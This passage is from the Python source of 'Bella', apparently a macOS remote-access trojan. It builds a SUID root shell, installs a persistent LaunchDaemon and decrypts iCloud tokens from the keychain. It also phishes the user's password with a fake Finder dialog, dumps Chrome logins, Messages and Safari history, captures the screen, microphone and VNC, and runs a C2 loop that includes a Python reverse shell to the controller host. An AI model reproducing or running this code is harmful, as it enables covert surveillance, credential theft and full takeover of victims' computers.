install the shell #### 1327 | try: 1328 | subprocess.check_output("%s <<< 'chown 0:0 /usr/local/roots; chmod 4777 /usr/local/roots'" % LPEpath, shell=True) #perform setUID on shell 1329 | return (True, "%sUser is susceptible to LPE!\n%sSUID root file written to /usr/local/roots!\n" % (blue_star, greenPlus)) 1330 | except Exception as e: 1331 | return (False, "%sUser is susceptible to LPE!\n%sThere was an error setting the SUID bit.\n[%s]\n" % (greenPlus, red_minus, e)) 1332 | 1333 | def migrateToRoot(rootsPath): 1334 | #precondition to this function call is that a root shell exists at /usr/local/roots and that os.getuid != 0 1335 | #therefore, we will not use the do_root() function, and will instead call the roots binary directly. 1336 | #we do this because we want full control over what happens. The migration is a critical process 1337 | #no room for error. an error could break our shell. 1338 | ### in order to test this function in development, bella must be installed through the INSTALLER script generated by BUILDER 1339 | 1340 | relativeBellaPath = '/' + '/'.join(get_bella_path().split("/")[3:]) 1341 | 1342 | if not os.path.isfile('%sbella.db' % get_bella_path()): #if we can execute this path 1343 | send_msg("Migration aborted. Could not find bella.db in\n\t[%s]" % get_bella_path(), False) 1344 | return 1345 | if not os.path.isfile('%sBella' % get_bella_path()): #if we can execute this path 1346 | send_msg("%sMigration halted. Could not find Bella binary in:\n\t[%s].\n" % (red_minus, get_bella_path()), False) 1347 | return 1348 | if not os.path.isfile('/Users/%s/Library/LaunchAgents/%s.plist' % (get_bella_user(), launch_agent_name)): #if we can execute this path 1349 | send_msg("%sMigration halted. Could not find LaunchAgent in:\n\t[/Users/%s/Library/LaunchAgents/%s.plist].\n" % (red_minus, get_bella_user(), launch_agent_name), False) 1350 | return 1351 | 1352 | """Create new bella location in /Library""" 1353 | error = Popen("%s \"mkdir -p '%s'\"" % (rootsPath, relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read() 1354 | if error != '': 1355 | send_msg("%sError creating path:\n\t%s" % (red_minus, error), False) 1356 | return 1357 | else: 1358 | send_msg("%sCreated path '%s'.\n" % (blue_star, relativeBellaPath), False) 1359 | 1360 | """Copy bella database from current helper_location to new one in /Library""" 1361 | error = Popen("%s \"cp '%sbella.db' '%sbella.db'\"" % (rootsPath, get_bella_path(), relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read() 1362 | if error != '': 1363 | send_msg("%sError copying Bella DB:\n\t%s" % (red_minus, error), False) 1364 | return 1365 | else: 1366 | send_msg("%sCopied Bella DB '%sbella.db' to '%sbella.db'.\n" % (blue_star, get_bella_path(), relativeBellaPath), False) 1367 | 1368 | """Copy bella binary from current helper_location to new one in /Library""" 1369 | error = Popen("%s \"cp '%sBella' '%sBella'\"" % (rootsPath, get_bella_path(), relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read() 1370 | if error != '': 1371 | send_msg("%sError copying Bella binary:\n\t%s" % (red_minus, error), False) 1372 | return 1373 | else: 1374 | send_msg("%sCopied Bella binary '%sBella' to '%sBella'.\n" % (blue_star, get_bella_path(), relativeBellaPath), False) 1375 | 1376 | """Copy bella launch_agent_name from current one to new one in /Library/LaunchDaemons""" 1377 | error = Popen("%s \"cp '/Users/%s/Library/LaunchAgents/%s.plist' '/Library/LaunchDaemons/%s.plist'\"" % (rootsPath, get_bella_user(), launch_agent_name, launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read() 1378 | if error != '': #cp bella db to /Library (root location) 1379 | send_msg("%sError copying launchagent '/Users/%s/Library/LaunchAgents/%s.plist' to '/Library/LaunchDaemons/%s.plist'.\n" % (red_minus, get_bella_user(), launch_agent_name, launch_agent_name), False) 1380 | return 1381 | else: 1382 | send_msg("%sCopied launchagent '/Users/%s/Library/LaunchAgents/%s.plist' to '/Library/LaunchDaemons/%s.plist'.\n" % (blue_star, get_bella_user(), launch_agent_name, launch_agent_name), False) 1383 | 1384 | """Replace path to bella binary in the new launchDaemon""" 1385 | error = Popen("%s \"sed -i \'\' -e 's@/Users/%s/Library/@/Library/@' /Library/LaunchDaemons/%s.plist\"" % (rootsPath, get_bella_user(), launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read() 1386 | if error != '': 1387 | send_msg("%sError replacing LaunchDaemon in line:\n\t%s" % (red_minus, error), False) 1388 | return 1389 | else: 1390 | send_msg("%sReplaced LaunchDaemon in line.\n" % blue_star, False) 1391 | 1392 | """Load new LaunchDaemon and then 'delete' the server""" 1393 | error = Popen("%s \"launchctl load -w /Library/LaunchDaemons/%s.plist\"" % (rootsPath, launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read() 1394 | if 'service already loaded' not in error and error != '': 1395 | send_msg("%sError loading LaunchDaemon:\n\t%s" % (red_minus, error), False) 1396 | return 1397 | else: 1398 | send_msg("%sLoaded LaunchDaemon.\n" % blue_star, False) 1399 | 1400 | send_msg("%sRemoving current server.\n" % yellow_star, False) 1401 | removeServer() 1402 | return 1403 | 1404 | def removeServer(): 1405 | subprocess_cleanup() 1406 | destroyer = "rm -rf %s" % get_bella_path() 1407 | if os.getuid() == 0: 1408 | destroyer += "; rm -f /Library/LaunchDaemons/%s.plist" % (launch_agent_name) 1409 | else: 1410 | destroyer += "; rm -f /Users/%s/Library/LaunchAgents/%s.plist" % (get_bella_user(), launch_agent_name) 1411 | os.system(destroyer) 1412 | send_msg("Server destroyed.\n", True) 1413 | unloader = "launchctl remove %s" % launch_agent_name 1414 | os.system(unloader) 1415 | 1416 | def rooter(): #ROOTER MUST BE CALLED INDEPENDENTLY -- Equivalent to getsystem 1417 | if os.getuid() == 0: 1418 | send_msg("%sWe are already root.\n" % yellow_star, True) 1419 | return 1420 | else: 1421 | send_msg("%sWe are not root. Attempting to root.\n" % blue_star, False) 1422 | 1423 | sys_vers = str(platform.mac_ver()[0]) 1424 | if is_there_SUID_shell(): 1425 | migrateToRoot('/usr/local/roots') 1426 | send_msg('', True) 1427 | return 1428 | 1429 | if local_pw_read(): 1430 | send_msg("%sLocal PW present.\n" % greenPlus, False) 1431 | ### We have a local password, let us try to use it to get a root shell ### 1432 | binarymake = make_SUID_root_binary(local_pw_read(), None) 1433 | send_msg(binarymake[1], False) 1434 | if binarymake[0]: 1435 | #updateDB('local user password', 'rootedMethod') 1436 | #send_msg('', True) 1437 | migrateToRoot('/usr/local/roots') 1438 | send_msg('', True) 1439 | return 1440 | else: 1441 | send_msg("%sNo local user password found. This will give us system and can be phished.\n" % red_minus, False) 1442 | 1443 | if sys_vers.startswith("10.8") or sys_vers.startswith("10.9") or sys_vers.startswith("10.10") or sys_vers == ("10.11") or sys_vers == ("10.11.1") or sys_vers == ("10.11.2") or sys_vers == ("10.11.3"): 1444 | binarymake = make_SUID_root_binary(None, '%sexecuter/root_shell.sh' % get_bella_path()) 1445 | if binarymake[0]: 1446 | #updateDB('local privilege escalation', 'rootedMethod') 1447 | send_msg(binarymake[1], False) 1448 | migrateToRoot('/usr/local/roots') 1449 | send_msg('', True) 1450 | return 1451 | send_msg("%sLocal privilege escalation not implemented for OSX %s\n" % (red_minus, sys_vers), True) 1452 | return 1453 | 1454 | def tokenFactory(authCode): 1455 | #now that we have proper b64 encoded auth code, we will attempt to get all account tokens. 1456 | try: 1457 | req = urllib2.Request("https://setup.icloud.com/setup/get_account_settings") 1458 | req.add_header('Authorization', 'Basic %s' % authCode) 1459 | req.add_header('Content-Type', 'application/xml') #for account settings it appears we cannot use json. type must be specified. 1460 | req.add_header('X-MMe-Client-Info', ' ') #necessary header to get tokens. 1461 | resp = urllib2.urlopen(req) 1462 | content = resp.read() 1463 | tokens = [] 1464 | #staple it together & call it bad weather 1465 | accountInfo = [] 1466 | accountInfo.append(plistlib.readPlistFromString(content)["appleAccountInfo"]["fullName"] + " | " + plistlib.readPlistFromString(content)["appleAccountInfo"]["appleId"] + " | " + plistlib.readPlistFromString(content)["appleAccountInfo"]["dsPrsID"]) 1467 | 1468 | try: 1469 | tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeAuthToken"]) 1470 | except: 1471 | pass 1472 | try: 1473 | tokens.append(plistlib.readPlistFromString(content)["tokens"]["cloudKitToken"]) 1474 | except: 1475 | pass 1476 | try: 1477 | tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMFAppToken"]) 1478 | except: 1479 | pass 1480 | try: 1481 | tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMIPToken"]) 1482 | except: 1483 | pass 1484 | try: 1485 | tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMFToken"]) 1486 | except: 1487 | pass 1488 | 1489 | return (tokens, accountInfo) 1490 | except Exception, e: 1491 | return '%s' % e 1492 | 1493 | def tokenForce(): 1494 | global bellaConnection 1495 | token = tokenRead() 1496 | if token != False: 1497 | send_msg("%sFound already generated token!%s\n%s" % (blue_star, blue_star, token), True) 1498 | return 1 1499 | while True: #no token exists, begin blast 1500 | ### sooooo turns out that SIP disables dtrace related things from working ... so this is useless 10.11 and up. will 1501 | ### switch out for chain breaker 1502 | from Foundation import NSData, NSPropertyListSerialization 1503 | ### CTRLC listener 1504 | bellaConnection.settimeout(0.0) 1505 | try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP 1506 | if recv_msg(bellaConnection) == 'sigint9kill': 1507 | sys.stdout.flush() 1508 | send_msg('terminated', True) #send back confirmation along with STDERR 1509 | done = True 1510 | bellaConnection.settimeout(None) 1511 | return 1 1512 | except socket.error as e: #no message, business as usual 1513 | pass 1514 | bellaConnection.settimeout(None) 1515 | kchain = getKeychains() 1516 | send_msg("%sUsing [%s] as keychain.\n" % (yellow_star, kchain), False) 1517 | 1518 | iCloudKey = check_output("launchctl asuser %s security find-generic-password -ws 'iCloud' '%s'" % (bella_UID, kchain)) 1519 | if not iCloudKey[0]: 1520 | if 51 == iCloudKey[2]: 1521 | send_msg("%sUser clicked deny.\n" % red_minus, False) 1522 | continue 1523 | elif 44 == iCloudKey[2]: 1524 | send_msg("%sNo iCloud Key Found!\n" % red_minus, True) 1525 | return 0 1526 | else: 1527 | send_msg("Strange error [%s]\n" % iCloudKey[1], True) 1528 | return 0 1529 | iCloudKey = iCloudKey[1].replace('\n', '') 1530 | 1531 | msg = base64.b64decode(iCloudKey) 1532 | key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}" 1533 | hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest() 1534 | hexedKey = binascii.hexlify(hashed) 1535 | IV = 16 * '0' 1536 | mme_token_file = glob("/Users/%s/Library/Application Support/iCloud/Accounts/*" % get_bella_user()) #this doesnt need to be globber bc only current user's info can be decrypted 1537 | for x in mme_token_file: 1538 | try: 1539 | int(x.split("/")[-1]) 1540 | mme_token_file = x 1541 | except ValueError: 1542 | continue 1543 | send_msg("%sDecrypting token plist\n\t[%s]\n" % (blue_star, mme_token_file), False) 1544 | decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mme_token_file), shell=True) 1545 | binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary)) 1546 | token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0] 1547 | tokz = "[%s | %s]\n" % (token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"]) 1548 | tokz += "%s:%s\n" % (token_plist["appleAccountInfo"]["dsPrsID"], token_plist["tokens"]["mmeAuthToken"]) 1549 | logged = updateDB(encrypt(tokz), 'mme_token') #update the DB.... 1550 | send_msg(tokz, True) 1551 | return 1 1552 | 1553 | def tokenRead(): 1554 | token = readDB('mme_token') 1555 | if not token: 1556 | return token 1557 | return decrypt(token) 1558 | 1559 | def chromeSSRead(): 1560 | sskey = readDB('chromeSS') 1561 | if not sskey: 1562 | return sskey 1563 | return decrypt(sskey) 1564 | 1565 | def local_pw_read(): 1566 | pw = readDB('localPass') 1567 | if not pw: 1568 | return pw 1569 | return decrypt(pw) 1570 | 1571 | def applepwRead(): 1572 | pw = readDB('applePass') 1573 | if not pw: 1574 | return pw 1575 | return decrypt(pw) 1576 | 1577 | def screenShot(): 1578 | screen = os.system("screencapture -x /tmp/screen") 1579 | try: 1580 | with open("/tmp/screen", "r") as shot: 1581 | contents = base64.b64encode(shot.read()) 1582 | os.remove("/tmp/screen") 1583 | return "screenCapture%s" % contents 1584 | except IOError: 1585 | return "screenCapture%s" % "error" 1586 | 1587 | def send_msg(msg, EOF): 1588 | global bellaConnection 1589 | msg = pickle.dumps((msg, EOF)) 1590 | finalMsg = struct.pack('>I', len(msg)) + msg #serialize into string. pack bytes so that recv function knows how many bytes to loop 1591 | bellaConnection.sendall(finalMsg) #send serialized 1592 | 1593 | def getWifi(): 1594 | ssid = subprocess.Popen("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 1595 | try: 1596 | value = ssid.stdout.read().split('SSID: ')[-1].split('\n')[0] + ssid.stderr.read() 1597 | except Exception as e: 1598 | value = "AirPort: Off" 1599 | return value 1600 | 1601 | def user_pass_phish(): 1602 | global bellaConnection 1603 | userTB = cur_GUI_user() 1604 | wifiNetwork = getWifi() 1605 | icon = readDB('lock_icon', True) 1606 | if not icon: 1607 | send_msg('Error generating lock icon, using system default.\n') 1608 | path = ':System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:Actions.icns' 1609 | else: 1610 | path = payload_generator(icon).replace("/", ":") 1611 | send_msg("Attempting to phish current GUI User [%s]\n" % userTB, False) 1612 | while True: 1613 | ### CTRLC listener 1614 | bellaConnection.settimeout(0.0) 1615 | try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP 1616 | if recv_msg(bellaConnection) == 'sigint9kill': 1617 | sys.stdout.flush() 1618 | send_msg('terminated', True) #send back confirmation along with STDERR 1619 | done = True 1620 | bellaConnection.settimeout(None) 1621 | return 1 1622 | except socket.error as e: #no message, business as usual 1623 | pass 1624 | bellaConnection.settimeout(None) 1625 | check = local_pw_read() 1626 | if isinstance(check, str): 1627 | send_msg("%sAccount password already found:\n%s\n" % (blue_star, check.replace("\n", "")), True) 1628 | return 1 1629 | #os.system("networksetup -setairportpower en0 off") We can't disable Wi-Fi actually, bc then we lose our connection 1630 | script = "launchctl asuser %s osascript -e 'tell app \"Finder\" to activate' -e 'tell app \"Finder\" to display dialog \"Could not find password to the network \\\"%s\\\". To access the network password please enter your keychain [login] password.\" default answer \"\" buttons {\"Always Allow\", \"Deny\", \"Allow\"} with icon file \"%s\" with hidden answer giving up after 15'" % (bella_UID, wifiNetwork, path) #with title \"Network Connection\" giving up after 15'" % wifiNetwork 1631 | out = subprocess.check_output(script, shell=True) 1632 | password = out.split("text returned:")[-1].replace("\n", "").split(", gave up")[0] 1633 | send_msg("%sUser has attempted to use password: [%s]\n" % (blue_star, password), False) 1634 | if password == "": 1635 | continue 1636 | if verifyPassword(userTB, password): 1637 | send_msg("%sVerified! Account password is: [%s]%s\n" % (greenPlus, password, endANSI), False) 1638 | subprocess_cleanup() 1639 | updateDB(encrypt("%s:%s" % (userTB, password)), 'localPass') #store encrypted pass in DB 1640 | #os.system("networksetup -setairportpower en0 on") #enable Wi-Fi 1641 | send_msg("%sUsing this password to root Bella.\n" % yellow_star, False) 1642 | rooter() 1643 | return 1 1644 | else: 1645 | send_msg("%sUser input: [%s] failed. Trying again.\n" % (red_minus, password), False) 1646 | return 1 #this should never get here, while loop should continue indefinitely. 1647 | 1648 | def verifyPassword(username, password): 1649 | try: 1650 | output = subprocess.check_output("dscl /Local/Default -authonly %s %s" % (username, password), shell=True) 1651 | return True 1652 | except: 1653 | return False 1654 | 1655 | def vnc_start(vnc_port): 1656 | send_msg('%sOpening VNC Connection.\n' % blue_star, False) 1657 | if readDB('vnc', True): 1658 | payload_path = payload_generator(readDB('vnc', True)) 1659 | else: 1660 | return "%sNo VNC payload was found" 1661 | pipe = subprocess.Popen('%s -connectHost %s -connectPort %s -rfbnoauth -disableLog' % (payload_path, host, vnc_port), shell=True, stderr=subprocess.PIPE) 1662 | subprocess_manager(pipe.pid, '/'.join(payload_path.split('/')[:-1]), 'VNC') 1663 | send_msg('%sOpened VNC [%s].\n' % (blue_star, pipe.pid), False) 1664 | send_msg('%sOpening Stream.\n' % blue_star, False) 1665 | time.sleep(2) 1666 | send_msg("%sStarted VNC stream over -> %s:%s\n" % (blue_star, host, vnc_port), True) 1667 | return 0 1668 | 1669 | def get_bella_path(): 1670 | return helper_location 1671 | 1672 | def get_bella_user(): 1673 | return bella_user 1674 | 1675 | def bella(*Emma): 1676 | ### We start with having bella only work for the user who initially runs it ### 1677 | ### For now, we will assume that the initial user to run Bella is NOT root ### 1678 | ### This assumption is made bc if we have a root shell, we likely have a user shell ### 1679 | ###set global whoami to current user, this will be stored as the original user in DB 1680 | global bellaConnection 1681 | 1682 | if not os.path.isdir(get_bella_path()): 1683 | os.makedirs(get_bella_path()) 1684 | creator = createDB() #createDB will reference the global whoami 1685 | if not creator[0]: 1686 | print "ERROR CREATING DATABASE %s" % creator[1] 1687 | pass 1688 | 1689 | os.chdir("/Users/%s/" % get_bella_user()) 1690 | 1691 | if readDB('lastLogin') == False: #if it hasnt been set 1692 | updateDB('Never', 'lastLogin') 1693 | 1694 | if not isinstance(get_model(), str): #if no model, put it in 1695 | output = check_output("sysctl hw.model") 1696 | if output[0]: 1697 | modelRaw = output[1].split(":")[1].replace("\n", "").replace(" ", "") 1698 | output = check_output("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' /System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist | grep marketingModel" % modelRaw) 1699 | if not output[0]: 1700 | model = 'Macintosh' 1701 | else: 1702 | model = output[1].split("=")[1][1:] #get everything after equal sign, and then remove first space. 1703 | updateDB(model, 'model') 1704 | 1705 | while True: 1706 | subprocess_cleanup() 1707 | print "Starting Bella" 1708 | 1709 | #create encrypted socket. 1710 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 1711 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 1712 | sock.settimeout(None) 1713 | bellaConnection = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1, cert_reqs=ssl.CERT_NONE) 1714 | 1715 | try: 1716 | print 'Connecting' 1717 | bellaConnection.connect((host,port)) 1718 | print 'Connected' 1719 | except socket.error as e: 1720 | if e[0] == 61: 1721 | print 'Connection refused.' 1722 | pass 1723 | else: 1724 | print 'No connection: %s' % e 1725 | pass 1726 | time.sleep(5) 1727 | continue 1728 | 1729 | print 'Listener active, server connected' 1730 | while True: 1731 | try: 1732 | remove_SUID_shell() #remove if it exists 1733 | print '%sAwaiting%s Data' % (yellow, endANSI) 1734 | data = recv_msg(bellaConnection) 1735 | print '%sReceived%s Data' % (green, endANSI) 1736 | if not data: 1737 | print 'Control disconnected' 1738 | break #start listening again. 1739 | elif data.startswith('cd'): 1740 | path = data[3:] 1741 | try: 1742 | if path.startswith("~"): 1743 | os.chdir(os.path.expanduser(path)) 1744 | else: 1745 | os.chdir(path) 1746 | files = [] 1747 | for x in os.listdir(os.getcwd()): 1748 | if not x.startswith('.'): 1749 | files.append(x) 1750 | stdout_val = '\n'.join(files) 1751 | send_msg("cwdcwd%s\n%s" % (os.getcwd(), stdout_val), True) 1752 | except OSError, e: 1753 | if e[0] == 2: 1754 | send_msg("%sNo such file or directory.\n" % red_minus, True) 1755 | else: 1756 | send_msg("%sError\n%s\n" % (red_minus, e), True) 1757 | 1758 | elif data == 'ls': #will be our default ls handler 1759 | fileList = [] #this will be used for autocompletion. 1760 | filePrint = [] 1761 | for x in os.listdir(os.getcwd()): 1762 | if not x.startswith('.') and x != "Icon\r": 1763 | fileList.append(x) 1764 | for x in sorted(fileList): 1765 | try: 1766 | perm = oct(os.stat(x).st_mode)[-3:] 1767 | timestamp = time.strftime("%h %e %H:%M", time.localtime(os.lstat(x).st_mtime)) 1768 | size = byte_convert(os.lstat(x).st_size) 1769 | hardlinks = str(os.lstat(x).st_nlink) 1770 | isDirectory = stat.S_ISDIR(os.lstat(x).st_mode) 1771 | if isDirectory: 1772 | dirString = "d" 1773 | else: 1774 | dirString = "-" 1775 | isExecutable = False 1776 | if '1' in perm or '3' in perm or '7' in perm: 1777 | isExecutable = True 1778 | owner = pwd.getpwuid(os.lstat(x).st_uid).pw_name 1779 | group = grp.getgrgid(os.lstat(x).st_gid).gr_name 1780 | permList = {"0": "---", "1": "--x", "2": "-w-", "3": "-wx", "4": "r--", "5": "r-x", "6": "rw-", "7": "rwx"} 1781 | permString = "%s%s%s" % (permList["%s" % perm[0]], permList["%s" % perm[1]], permList["%s" % perm[2]] ) 1782 | if isDirectory: 1783 | x = "%s%s%s/" % (light_blue, x, endANSI) 1784 | elif isExecutable: 1785 | x = "%s%s%s%s*" % (dark_green, bold, x, endANSI) 1786 | else: 1787 | pass 1788 | fileData = [dirString + permString, hardlinks, owner, group, size, timestamp, x] 1789 | filePrint.append(fileData) 1790 | except: 1791 | pass 1792 | send_msg('lserlser' + pickle.dumps((fileList, filePrint)), True) 1793 | 1794 | elif data == 'quit' or data == 'exit': 1795 | send_msg("Exit", True) 1796 | elif data == "initializeSocket": 1797 | send_msg(initialize_socket(), True) 1798 | elif data.startswith("payload_response_SBJ29"): 1799 | payloads_encoded = data.split(':::')[1] 1800 | print 'Got payloads! %s' % payloads_encoded[:20] 1801 | print 'Creating DB from these payloads' 1802 | if inject_payloads(payloads_encoded): 1803 | send_msg('Injected payloads into Bella.\n', False) 1804 | print 'Injected' 1805 | else: 1806 | send_msg('Error injecting payloads', False) 1807 | print 'Error injecting payloads' 1808 | send_msg(initialize_socket(), True) 1809 | elif data == "iCloud_token": 1810 | tokenForce() 1811 | elif data == "insomnia_load": 1812 | send_msg(insomnia_load(), True) 1813 | elif data == "insomnia_unload": 1814 | send_msg(insomnia_unload(), True) 1815 | elif data == "manual": 1816 | send_msg(manual(), True) 1817 | elif data == "screen_shot": 1818 | send_msg(screenShot(), True) 1819 | elif data == "chrome_safe_storage": 1820 | chrome_safe_storage() 1821 | elif data == "check_backups": 1822 | send_msg(iTunes_backup_looker()[0], True) 1823 | elif data == "keychain_download": 1824 | send_msg(keychain_download(), True) 1825 | elif data == "iCloud_phish": 1826 | check = applepwRead() 1827 | if isinstance(check, str): 1828 | send_msg("%sAlready have an apple pass.\n%s\n" % (blue_star, check), True) 1829 | else: 1830 | send_msg("appleIDPhishHelp" + appleIDPhishHelp(), True) 1831 | elif data.startswith("iCloudPhishFinal"): 1832 | appleIDPhish(data[16:].split(":")[0], data[16:].split(":")[1]) 1833 | elif data == "user_pass_phish": 1834 | user_pass_phish() 1835 | elif data.startswith("disableKM"): 1836 | send_msg(disable_keyboard_mouse(data[9:]), True) 1837 | elif data.startswith("enableKM"): 1838 | send_msg(enable_keyboard_mouse(data[8:]), True) 1839 | elif data == "reboot_server": 1840 | send_msg(os.kill(bellaPID, 9), True) 1841 | elif data == "current_users": 1842 | send_msg('\001\033[4mCurrently logged in users:\033[0m\002\n%s' % check_current_users(), True) 1843 | elif data == "bella_info": 1844 | bella_info() 1845 | elif data == "get_root": 1846 | rooter() 1847 | elif data == 'mike_stream': 1848 | time.sleep(3) 1849 | reader = readDB('microphone', True) 1850 | if not reader: 1851 | send_msg('%sError reading Microphone payload from Bella DB.\n' % red_minus, True) 1852 | else: 1853 | path = payload_generator(reader) 1854 | mike_helper(path) 1855 | 1856 | elif data == "chrome_dump": 1857 | returnVal = "" 1858 | checkChrome = chromeSSRead() 1859 | if isinstance(checkChrome, str): 1860 | safe_storage_key = checkChrome 1861 | loginData = glob("/Users/%s/Library/Application Support/Google/Chrome/*/Login Data" % get_bella_user()) #dont want to do all 1862 | for x in loginData: 1863 | returnVal += chrome_dump(safe_storage_key, x) 1864 | send_msg(returnVal, True) 1865 | else: 1866 | send_msg("%s%sNo Chrome Safe Storage Key found!\n" % (returnVal, red_minus), True) 1867 | 1868 | elif data == "iCloud_FMIP": 1869 | (username, password, usingToken) = iCloud_auth_process(False) 1870 | if password == False: #means we couldnt get any creds 1871 | send_msg(username, True) #send reason why 1872 | else: 1873 | if usingToken: 1874 | send_msg("%sCannot locate iOS devices with only a token. Run iCloudPhish if you would like to phish the user for their iCloud Password.\n" % red_minus, True) 1875 | else: 1876 | FMIP(username, password) 1877 | 1878 | elif data == "iCloud_read": 1879 | key = "%sThere is no iCloud ID available.\n" % red_minus 1880 | check = applepwRead() 1881 | if isinstance(check, str): 1882 | key = applepwRead() + "\n" 1883 | send_msg(key, True) 1884 | 1885 | elif data == "lpw_read": 1886 | key = "%sThere is no local account available.\n" % red_minus 1887 | check = local_pw_read() 1888 | if isinstance(check, str): 1889 | key = "%s\n" % check 1890 | send_msg(key, True) 1891 | 1892 | elif data.startswith("mitm_start"): 1893 | interface = data.split(":::")[1] 1894 | cert = data.split(":::")[2] 1895 | mitm_start(interface, cert) 1896 | 1897 | elif data.startswith("mitm_kill"): 1898 | interface = data.split(":::")[1] 1899 | certsha1 = data.split(":::")[2] 1900 | mitm_kill(interface, certsha1) 1901 | 1902 | elif data == 'chat_history': 1903 | chatDb = globber("/Users/*/Library/Messages/chat.db") #just get first chat DB 1904 | serial = [] 1905 | for x in chatDb: 1906 | data = bz2.compress(protected_file_reader(x)) 1907 | serial.append((x.split("/")[2], data)) 1908 | serialized = pickle.dumps(serial) 1909 | send_msg("C5EBDE1F" + serialized, True) 1910 | 1911 | elif data == 'safari_history': 1912 | historyDb = globber("/Users/*/Library/Safari/History.db") 1913 | serial = [] 1914 | for history in historyDb: 1915 | copypath = tempfile.mkdtemp() 1916 | with open('%s/safari' % copypath, 'w') as content: 1917 | content.write(protected_file_reader(history)) 1918 | database = sqlite3.connect('%s/safari' % copypath) 1919 | sql = "SELECT datetime(hv.visit_time + 978307200, 'unixepoch', 'localtime') as last_visited, hi.url, hv.title FROM history_visits hv, history_items hi WHERE hv.history_item = hi.id;" 1920 | content = "" 1921 | with database: 1922 | try: 1923 | for x in database.execute(sql): 1924 | x = filter(None, x) 1925 | content += ' | '.join(x).encode('ascii', 'ignore') + '\n' 1926 | except: 1927 | pass 1928 | content = bz2.compress(content) 1929 | serial.append((history.split("/")[2], content)) #append owner of history 1930 | shutil.rmtree(copypath) 1931 | serialized = pickle.dumps(serial) 1932 | send_msg("6E87CF0B" + serialized, True) 1933 | 1934 | elif data.startswith('download'): 1935 | fileName = data[8:] 1936 | try: 1937 | with open(fileName, 'rb') as content: 1938 | file_content = content.read() 1939 | send_msg("%sFound [%s]. Preparing for download.\n" % (yellow_star, fileName), False) 1940 | send_msg("downloader%s" % pickle.dumps((file_content, fileName)), True) #pack tuple 1941 | except IOError, e: 1942 | send_msg("%s%s\n" % (red_minus, e), True) 1943 | except OSError, e: 1944 | send_msg("%s%s\n" % (red_minus, e), True) 1945 | 1946 | elif data.startswith('uploader'): 1947 | (file_content, fileName) = pickle.loads(data[8:]) 1948 | try: 1949 | send_msg("%sBeginning write of [%s].\n" % (yellow_star, fileName), False) 1950 | with open(fileName, 'wb') as content: 1951 | content.write(file_content) 1952 | send_msg("%sSucessfully wrote [%s/%s]\n" % (blue_star, os.getcwd(), fileName), True) 1953 | except IOError, e: 1954 | send_msg("%s%s\n" % (red_minus, e), True) 1955 | except OSError, e: 1956 | send_msg("%s%s\n" % (red_minus, e), True) 1957 | 1958 | elif data == "iCloud_query": 1959 | (error, errorMessage, dsid, token) = main_iCloud_helper() 1960 | if error: 1961 | send_msg(errorMessage, True) 1962 | else: 1963 | iCloud_storage_helper(dsid, token) 1964 | 1965 | elif data == "iCloud_FMF": 1966 | (error, errorMessage, dsid, token) = main_iCloud_helper() 1967 | if error: 1968 | send_msg(errorMessage, True) 1969 | else: 1970 | cardData = get_card_data(dsid, token) 1971 | send_msg(heard_it_from_a_friend_who(dsid, token, cardData), True) 1972 | 1973 | elif data == 'iCloud_contacts': 1974 | (error, errorMessage, dsid, token) = main_iCloud_helper() 1975 | if error: 1976 | send_msg(errorMessage, True) 1977 | else: 1978 | cardData = get_card_data(dsid, token) 1979 | for vcard in cardData: 1980 | send_msg("\033[1m%s\033[0m\n" % vcard[0][0], False) 1981 | for numbers in vcard[1]: 1982 | send_msg("[\033[94m%s\033[0m]\n" % numbers, False) 1983 | for emails in vcard[2]: 1984 | send_msg("[\033[93m%s\033[0m]\n" % emails, False) 1985 | localToken = tokenRead() 1986 | if localToken != False: 1987 | send_msg('\033[1mFound %s iCloud Contacts for %s!\033[0m\n' % (len(cardData), localToken.split("\n")[0]), True) 1988 | else: 1989 | send_msg('', True) 1990 | 1991 | elif data == '3C336E68854': 1992 | time.sleep(2) 1993 | cmd = 'python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn(\'/bin/bash\')" ' + host + ' 3818' 1994 | x = subprocess.Popen(cmd, shell=True) 1995 | print x.pid 1996 | send_msg('', True) 1997 | 1998 | elif data.startswith('vnc_start'): 1999 | vnc_port = data.split(':::')[1] 2000 | time.sleep(3) 2001 | vnc_start(vnc_port) 2002 | 2003 | elif data == 'removeserver_yes': 2004 | removeServer() 2005 | 2006 | elif data == 'shutdownserver_yes': 2007 | send_msg("Server will shutdown in 3 seconds.\n", True) 2008 | subprocess_cleanup() 2009 | os.system("sleep 3; launchctl remove %s" % launch_agent_name) 2010 | #we shouldnt have to kill iTunes, but if there is a problem with launchctl .. 2011 | 2012 | elif data == 'get_client_info': 2013 | output = check_output('scutil --get LocalHostName | tr -d "\n"; printf -- "->"; whoami | tr -d "\n"') 2014 | if not output[0]: 2015 